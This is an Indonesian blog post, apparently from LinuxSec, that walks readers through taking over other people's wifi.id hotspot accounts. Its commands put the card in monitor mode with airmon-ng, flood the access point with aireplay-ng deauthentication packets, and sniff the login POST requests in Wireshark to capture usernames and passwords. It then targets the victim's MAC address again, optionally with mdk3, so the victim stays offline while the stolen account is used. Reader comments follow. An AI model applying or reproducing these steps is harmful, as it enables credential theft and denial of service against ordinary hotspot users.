LinuxSec Exploit

Nothing is Ever Locked

Mendapatkan Username Dan Password Wifi.ID Dengan Wireshark

by Jack Wilder 24 Comments

Beberapa waktu yang lalu saya pernah share cara untuk mendapatkan akses wifi.id gratis dengan cara kloning mac address ke pc target lang sudah login ke wifi.id sebelumnya. Nah, kali ini saya mencoba hal yang lebih “ekstrim” , mengambil paksa akun wifi.id milik orang lain, dan memaksa nya logout agar kita bisa login dengan akun miliknya.

Sebagai catatan, cara ini sangat tidak dianjurkan, karena ini termasuk sangat merugikan.

Pertama, pastikan kalian sudah konek ssid @wifi.id . Tidak perlu login, cukup konek kan saja.
Selanjutnya, buka terminal, lalu masukkan command berikut :

sudo airmon-ng start wlan0

Karena disitu ada notice enable on mon1 , maka masukkan command 

sudo airodump-ng mon1

Untuk interface silahkan sesuaikan sendiri, kadang bsia mon0, atau mon1.
Lalu stop dengan menekan ctrl +c .
Selanjutnya masukkan command :

sudo airodump-ng –bssid 6C:99:89:8B:4B:50 mon1

BSSID yang dimasukkan adalah BSSID milik @wifi.id . Silahkan sesuaikan sendiri.
Lalu buka tab terminal baru. Kita open wireshark sebagai root user dengan command :

sudo wireshark

Nah, karena tadi mode monitor yang aktif mon1, maka kita pilih mon1, lalu klik start.

 Masukkan filter http.request.method==POST , lalu apply.

Biarkan wireshark berjalan, sekarang kita hajar access point wifi.id nya.

aireplay-ng –deauth 190 -a 6C:99:89:8B:4B:50 –ignore-negative-one mon1

6C:99:89:8B:4B:50 adalah bssid milik wifi.id . silahkan sesuaikan. 
Command diatas akan melakukan deauth pada semua client yang terhubung ke wifi.id, dan memaksa mereka untuk login ulang.

Sekarang tunggu di wireshark nya. Nunggu ada yang login ke wifi.id lagi.

Yep, dapet korban.

Yep, kita sudah dapet user sama password nya, tapi berhubung doi masih login ke wifi.id , jadi pass sama user tadi percuma.
Sekarang saat nya kita kill koneksi doi biar logout dari wifi.id.

aireplay-ng –deauth 190 -a 6C:99:89:8B:4B:50 -c 94:35:0A:32:52:D8 –ignore-negative-one mon1

sama dengan yang diatas, hanya saja disini kita tambahkan client mac address nya sehingga lebih spesifik.
Setelah selesai, bisa juga di kill dengan mdk3, biar si doi putus asa ga bisa konek, terus pulang deh 😀 .
Nah baru user sama password hasil curian tadi kita pake.

Oke sekian dulu tutorial kali ini, semoga bermanfaat. Sekali lagi, segala bentuk kriminal bukan tanggung jawab ane. 😀

Thanks to darkc0d3

Kalo mau copas credit ke linuxsec njing.

Reader Interactions

Comments

  2. l04d1ng_ darkc0d3 says

    ini tutor saya ya om 😀 pernah saya share di kali linux indonesia dan backbox indonesia
    my nick darkc0d3
    thanks mas jack udah di di jadikan postingan di linuxsec
    dan saya berterimakasi juga kepada h3d4s h3xor yg ikut bantu saya

    Reply

  14. xavier says

    min, mau tanya pas step yang di wireshark : ” http.request.method==POST ” ini dah pasti ada (ketemu pencariannya) di wireshark ?
    Soalnya, saya pernah coba dan saya cari ” http.request.method==POST ” nggak ada, saya juga cari ” POST ” juga nggak ada, yang ada pas saya searching malah traffic jaringan di komputer saya sendiri, bukan traffic orang2 yg terhubung di @wifi id
    Penyebab kayak gitu apa min?
    Makasih sebelumnya 😀

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

LinuxSec / 11 queries in 0.13 seconds